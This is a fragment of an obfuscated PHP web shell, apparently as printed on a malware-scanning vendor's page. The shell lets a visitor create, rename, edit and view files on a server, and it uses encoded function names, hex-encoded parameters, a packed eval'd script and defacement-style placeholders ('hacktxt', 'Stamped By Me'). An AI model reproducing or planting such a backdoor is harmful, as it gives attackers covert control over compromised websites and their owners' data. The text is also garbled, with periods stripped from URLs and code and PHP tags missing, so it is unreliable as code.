if($a=="newDir"):<h5 class="border mb-3 p-1">New folder</h5><form method="post"><div class="form-group"><label for="n">Name :</label><input class="form-control"name="n"id="n"autocomplete="off"></div><div class="form-group"><button class="rounded-0 btn btn-outline-light"name="s"type="submit">Create</button></div></form>((isset($_POST["s"]))?("0"("$p/{
$_POST["n"]
}
")?a("folder name has been used",0,"&a=".hex("newDir")):("7"("$p/{
$_POST["n"]
}
")?a("folder created successfully"):a("folder failed to create",0))):null);
elseif($a=="newFile"):<h5 class="border mb-3 p-1">New file</h5><form method="post"><div class="form-group"><label for="n">File name :</label><input class="form-control"name="n"id="n"placeholder="hacktxt"></div><div class="form-group"><label for="ctn">Content :</label><textarea class="form-control"cols="30"id="ctn"name="ctn"rows="10"placeholder="# Stamped By Me"style="resize:none"></textarea></div><div class="form-group"><button class="rounded-0 btn btn-outline-light"name="s"type="submit">Create</button></div></form>((isset($_POST["s"]))?("0"("$p/{
$_POST["n"]
}
")?a("file name has been used",0,"&a=".hex("newFile")):("5"("$p/{
$_POST["n"]
}
",$_POST["ctn"])?a("file created successfully",1,"&a=".hex("view")."&n=".hex($_POST["n"])):a("file failed to create",0))):null);
elseif($a=="rename"):<h5 class="border mb-3 p-1">Rename=(($_GET["t"]=="d")?"folder":"file")</h5><form method="post"><div class="form-group"><label for="n">Name :</label><input class="form-control" name="n" id="n" value="=nhx($_GET['n'])"></div><div class="form-group"><button class="rounded-0 btn btn-outline-light"name="s"type="submit">Save</button></div></form>((isset($_POST["s"]))?("5"($p.'/'.nhx($_GET["n"]),$_POST["n"])?a("successfully changed the folder name"):a("failed to change the folder name",0)):null);
elseif($a=="edit"):<h5 class="border mb-3 p-1">Edit file</h5><span>File name :=nhx($_GET["n"])</span><form method="post"><div class="form-group"><label for="ctn">Content :</label><textarea class="form-control"cols="30"id="ctn"name="ctn"rows="10">="e"("f"($p.'/'.nhx($_GET["n"])))</textarea></div><div class="form-group"><button class="rounded-0 btn btn-outline-light"name="s"type="submit">Save</button></div></form>((isset($_POST["s"]))?("5"($p.'/'.nhx($_GET["n"]),$_POST["ctn"])?a("file contents changed successfully",1,"&a=".hex("view")."&n={
$_GET["n"]
}
"):a("file contents failed to change")):null);
elseif($a=="view"):<h5 class="border mb-3 p-1">View file</h5><span>File name :=nhx($_GET["n"])</span><div class="form-group"><label for="ctn">Content :</label><textarea class="form-control"cols="30"id="ctn"name="ctn"rows="10"readonly>="e"("f"($p.'/'.nhx($_GET["n"])))</textarea></div>endif;
</div>endif;
</article><script src="//codejquerycom/jquery-351slimminjs"></script><script src="//cdnjsdelivrnet/npm/bootstrap@460/dist/js/bootstrapbundleminjs"></script><script src="//cdnjsdelivrnet/npm/bs-custom-file-input/dist/bs-custom-file-inputminjs"></script><script>eval(function(t,e,n,r,i,o){
if(i=function(t){
return(t<41?"":i(parseInt(t/41)))+(35<(t%=41)?StringfromCharCode(t+29):ttoString(36))
}
,!"".replace(/^/,String)){
for(;
n--;
)o[i(n)]=r[n]||i(n);
r=[function(t){
return o[t]
}
],i=function(){
return"\\w+"
}
,n=1
}
for(;
n--;
)r[n]&&(t=treplace(new RegExp("\\b"+i(n)+"\\b","g"),r[n]));
return t
}
('En();
$(\'[2-m="4"]\').4();
$(".l").k(j(e){
eg();
h 0=$(6).5("2-0");
c({
b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,
}
).y((8)=>{
r(8){
x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");
us3=1
}
}
)
}
);
',0,41,"type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput".split("|"),0,{
}
))</script></body></html>
}
</td>
© 2023 Quttera Ltd. All rights reserved.